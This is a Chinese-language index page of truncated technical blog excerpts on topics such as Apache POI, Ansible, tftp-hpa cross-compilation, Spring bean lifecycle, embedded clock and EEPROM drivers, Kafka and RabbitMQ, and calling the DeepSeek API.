在 After Effects中,几种模拟效果都有类似的光照控件和材质控件,比如,焦散、卡片动画、碎片等。 光照控件和材质控件允许用户模拟不同光源、阴影和高光效果,控制表面反射特性,从而实现真实的光照和反射模拟。适用于材质…...
POI 的 Excel 读写操作教程
POI 的 Excel 读写操作教程 一、POI 简介 Apache POI 是一款在 Java 开发中广受欢迎的开源库,主要用于处理各种 Microsoft Office 文件格式,Excel 文件便是其中之一。凭借其功能强大的 API,POI 不仅支持对 Excel 文件的读取、写入和修改&am…...
java处理pgsql的text[]类型数据问题
背景 公司要求使用磐维数据库,于是去了解了这个是基于PostgreSQL构建的,在使用时有场景一条图片数据中可以投放到不同的页面,由于简化设计就放在数组中,于是使用了text[]类型存储;表结构 #这是一个简化版表结构&…...
数据结构:Map Set(一)
目录 一、搜索树 1、概念 2、查找 3、插入 4、删除 二、搜索 1、概念及场景 2、模型 (1)纯key模型 (2)Key-Value模型 三、Map的使用 1、什么是Map? 2、Map的常用方法 (1)V put(K …...
Ansible 自动化 Linux 运维:解放你的双手,让运维变得简单
Ansible 自动化 Linux 运维:解放你的双手,让运维变得简单 在现代 IT 运维中,随着系统规模的不断扩展,如何高效地管理和维护大量的服务器成为了一项巨大挑战。传统的手动操作不仅费时费力,还容易出错。而 Ansible 作为一款开源的自动化运维工具,凭借其易用性和强大的功能…...
不需要移植和配置xinetd 等相类似执行文件,tftp-hpa服务器交叉移植使用说明
tftp-hpa-5.2.tar.gz :下载链接 https://download.csdn.net/download/lyeffort/90361414 tar -xvf tftp-hpa-5.2.tar.gz -C /root/tftpd/ # ./autogen.sh # export PATH/root/linux-arm-tools/mips-linux-gclibc/bin:$PATH # mkdir /root/tftpd/install # ./configure --h…...
利用用个人PC搭建私有大模型(低成本、易实施的私有大模型部署方案,兼顾英语 5G协议学习与实践需求)
背景 个人有2台电脑, 第一台: laptop cpu 12th Gen Intel Core™ i7-1260P 2.10 GHz, GPU intel iris Xe graphics, 第二台: MS-7D22,Intel Core™ i5-10400F CPU 2.90GHz, GeForce GT 730。想…...
SAP 借助 Databricks 推出Business Data Cloud
SAP与Databricks合作推出了SAP Business Data Cloud,这是一项突破性的解决方案,旨在统一和整合企业内所有SAP及第三方数据,为企业提供可信的数据基础,从而推动更具影响力的决策并促进可靠的AI应用。这一合作标志着企业数据管理的新…...
地基Spring中bean生命周期和设计模式
面试问题: 在Java面试中,当被提问到Spring中Bean的生命周期和设计模式时,你可以按照以下方式回答,以体现自己的专业知识和实际项目经验: Spring中Bean的生命周期 Spring中Bean的生命周期是一个复杂但有序的过程&#…...
CanMV的刷新比Openmv强
今天使用CanMV k230的板子,发现CanMV的刷新比Openmv强,速度快,不用再次拍照刷新,写一次就能在ide屏幕上同时显示。 参考一下CanMV K230拍照保存Demo - CanMV(K210 / K230) - 01科技 | 01Studio Takephot(…...
Xilinx kintex-7系列 FPGA支持PCIe 3.0 吗?
Xilinx kintex-7系列资源如下图 Xilinx各系列的GT资源类型和性能 PCIe Gen1/2/3的传输速率对比 K7上面使用的高速收发器GTX最高速率为12.5GT/s, PCIe Gen2 每个通道的传输速率为 5 GT/s。 PCIe Gen3 每个通道的传输速率为 8 GT/s。 所以理论上硬件支持PCIe3.0&#…...
蓝桥杯篇---实时时钟 DS1302
文章目录 前言特点简介1.低功耗2.时钟/日历功能3.32字节的额外RAM4.串行接口 DS1302 引脚说明1.VCC12.VCC23.GND4.CE5.I/O6.SCLK DS1302 寄存器1.秒寄存器2.分钟寄存器3.小时寄存器4.日寄存器5.月寄存器6.星期寄存器7.年寄存器8.控制寄存器 DS1302 与 IAP25F2K61S2 的连接1.CE连…...
【蓝桥杯嵌入式】8_IIC通信-eeprom读写
全部代码网盘自取 链接:https://pan.baidu.com/s/1PX2NCQxnADxYBQx5CsOgPA?pwd3ii2 提取码:3ii2 1、电路图 这个电路允许通过I2C总线与EEPROM(M24C02-WMN6TP)和数字电位器(MCP4017T-104ELT)进行通信。EEPROM用于存储数据,而数字电位器可以用…...
支持向量机原理
支持向量机(简称SVM)虽然诞生只有短短的二十多年,但是自一诞生便由于它良好的分类性能席卷了机器学习领域。如果不考虑集成学习的算法,不考虑特定的训练数据集,尤其在分类任务中表现突出。在分类算法中的表现SVM说是排…...
E8移动建模关联建模表单,写入无数据
场景:移动建模新建一个招聘页面,每次通过移动建模写入建模表数据,建模表的值都要权限重构才可看见,且明细无数据。 排查原因:移动建模提交后返回的ID值为空 正常情况下提交数据应该要返回一个ID值如下: 解…...
一文深入了解DeepSeek-R1:模型架构
本文深入探讨了 DeepSeek-R1 模型架构。让我们从输入到输出追踪 DeepSeek-R1 模型,以找到架构中的新发展和关键部分。DeepSeek-R1 基于 DeepSeek-V3-Base 模型架构。本文旨在涵盖其设计的所有重要方面。 📝 1. 输入上下文长度 DeepSeek-R1的输入上下文长…...
腿足机器人之二- 运动控制概览
腿足机器人之二运动控制概览 高层运动规划MPCRL 中层逆运动学和逆动力学底层执行器控制传感器校正 上一篇博客是腿足机器人的骨架和关节的机械和电气组件,关节不仅需要通过机械设计实现复杂的运动能力,还必须通过电子组件和控制系统来精确控制这些运动。…...
前端面试大全
前端面试大全 一、htmlcss1、垂直定位的实现方式 二、javascript1、深拷贝浅拷贝2、作用域3、原型原型链4、防抖节流5、设计模式 三、ES61、 四、typescript五、vue1、vue2和vue3的区别2、生命周期3、computedwatch 六、react七、uni-app八、Cesiumopenlayer九、Threejs十、ngi…...
如何使用智能化RFID管控系统,对涉密物品进行安全有效的管理?
载体主要包括纸质文件、笔记本电脑、优盘、光盘、移动硬盘、打印机、复印机、录音设备等,载体(特别是涉密载体)是各保密、机要单位保证涉密信息安全、防止涉密信息泄露的重要信息载体。载体管控系统主要采用RFID射频识别及物联网技术…...
Python 调用 DeepSeek API 案例详细教程
本案例为以 Python 为例的调用 DeepSeek API 的小白入门级详细教程 步骤 先注册并登录 DeepSeek 官网:https://www.deepseek.com/ 手机号验证码注册或登录即可 创建 API KEY 注意保存,写代码时必须提供的 打开 Pycharm 创建工程 并安装 OpenAI 库编写代…...
牛客面筋学习
准备阶段: 楼主其实很早就开始准备了,大概从年初开始,陆陆续续总结自己的项目,复盘,然后复习数电模电信号电路等,复习完后,便开始刷题;顺便说一下,如果需要发小论文的也…...
对指针的深入运用-通讯录的初步实现
1.通讯录的功能 手机里的通讯录,是能够存放联系人的信息,包括姓名,性别,地址,电话号码,也可以加上性别。而且手机中的通讯录肯定有增删查改的功能,而且在list里是按照顺序排序的,可以…...
VUE环境搭建
node.js安装 node npm – node Package Management 安装完成后,需要设置: npm config set prefix "D:\nodejs"注意:“D:\nodejs” 此处为自己安装的node.js路径。管理员身份运行 切换镜像源 npm config set registry https://r…...
DeepSeek应用——与PyCharm的配套使用
目录 一、配置方法 二、使用方法 三、注意事项 1、插件市场无continue插件 2、无结果返回,且在本地模型报错 记录自己学习应用DeepSeek的过程,使用的是自己电脑本地部署的私有化蒸馏模型...... (举一反三,这个不单单是可以用…...
C# ASP.NET的未来发展趋势
.NET学习资料 .NET学习资料 .NET学习资料 在快速发展的技术浪潮中,C# ASP.NET不断顺应时代潮流,展现出一系列令人瞩目的未来发展趋势。这些趋势不仅反映了技术的进步,也为开发者带来了更多的机遇和挑战。 云原生应用开发 随着云计算的普及…...
leetcode 416. 分割等和子集
题目如下 数据范围 本题和leetcode 2915. 和为目标值的最长子序列的长度类似,这里不过多赘述。leetcode 2915. 和为目标值的最长子序列的长度 通过代码 class Solution { public:bool canPartition(vector<int>& nums) {int n nums.size();int an…...
WPF进阶 | 深入 WPF 依赖项属性:理解其强大功能与应用场景
WPF进阶 | 深入 WPF 依赖项属性:理解其强大功能与应用场景 前言一、依赖项属性基础概念1.1 什么是依赖项属性1.2 依赖项属性与 CLR 属性的区别1.3 依赖项属性的定义与注册 二、依赖项属性的原理深入剖析2.1 依赖项属性系统的工作机制2.2 元数据(Metadata…...
浅聊MQ之Kafka与RabbitMQ简用
Kafka与RabbitMQ的使用举例 Kafka的使用举例 安装与启动: 从Apache Kafka官网下载Kafka中间件的运行脚本。解压后,通过命令行启动Zookeeper(Kafka的运行依赖于Zookeeper)。启动Kafka的服务器进程。 基本功能实现: 生…...
2.1 JUnit 5 测试发现机制详解
JUnit 5 测试发现机制详解 JUnit 5 的测试发现机制是框架的核心功能之一,负责识别测试类、方法和其他可执行元素,并构建出可执行的测试计划。该机制通过模块化设计支持高度扩展性,允许开发者自定义测试发现规则。以下是其工作原理的详细解析…...
【Elasticsearch】match查询
Elasticsearch 的match查询是全文搜索中最常用和最强大的查询类型之一。它允许用户在指定字段中搜索文本、数字、日期或布尔值,并提供了丰富的功能来控制搜索行为和结果。以下是match查询的详细解析,包括其工作原理、参数配置和使用场景。 1.match查询的…...
【开发心得】CentOS7编译Redis7.4.2打包RPM完整方案
概述 由于最近客户需要解决redis版本升级问题,故而全网寻找安全版本,redis7.4.x版本求而为果,只能自己编译了。 截止发文时间2025-02-12 最新稳定版的redis版本号为7.4.2 Security fixes (CVE-2024-46981) Lua script commands may lead t…...
云计算——AWS Solutions Architect – Associate(saa)6.CloudWatch
Amazon CloudWatch 是一种面向开发运营工程师、开发人员、站点可靠性工程师(SRE)和 IT 经理的监控和可观测性服务。CloudWatch 为我们提供相关数据和切实见解,以监控应用程序、响应系统范围的性能变化、优化资源利用率,并在统一视图中查看运营状况。 Clo…...
面试实战题:手写一个队列和介绍Stream流怎么使用
手写一个队列 思路解析: 队列要有入队和出队操作,还要有查看队列大小,查看队头元素,查看队列是否为空,查看队列是否满了这些功能 package com.example.transational.MyQueue;public class MyQueue<T> {privat…...
Jmeter+Influxdb+Grafana平台监控性能测试过程
一、Jmeter自带插件监控 下载地址:https://jmeter-plugins.org/install/Install/ 安装:下载后文件为jmeter-plugins-manager-1.3.jar,将其放入jmeter安装目录下的lib/ext目录,然后重启jmeter,即可。 启动Jmeter&…...
【现代深度学习技术】深度学习计算 | GPU
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
基于斜坡单元的机器学习模型预测滑坡易发性,考虑条件因素的异质性
1、引用 Chang Z, Catani F, Huang F, et al. Landslide susceptibility prediction using slope unit-based machine learning models considering the heterogeneity of conditioning factors[J]. Journal of Rock Mechanics and Geotechnical Engineering, 2023…...
Node.js调用DeepSeek Api 实现本地智能聊天的简单应用
在人工智能快速发展的今天,如何快速构建一个智能对话应用成为了开发者们普遍关注的话题。本文将为大家介绍一个基于Node.js的命令行聊天应用,它通过调用硅基流动(SiliconFlow)的API接口,实现了与DeepSeek模型的智能对话…...
实战 - 编写一个最简单的 Hello World 内核模块
实战 - 编写一个最简单的 Hello World 内核模块 在嵌入式开发中,编写 Linux 内核模块是设备驱动开发的重要基础。内核模块可以帮助我们在不修改内核源码的情况下扩展内核功能。本篇博客将指导你如何编写并运行一个简单的 Hello World 内核模块,让你快速…...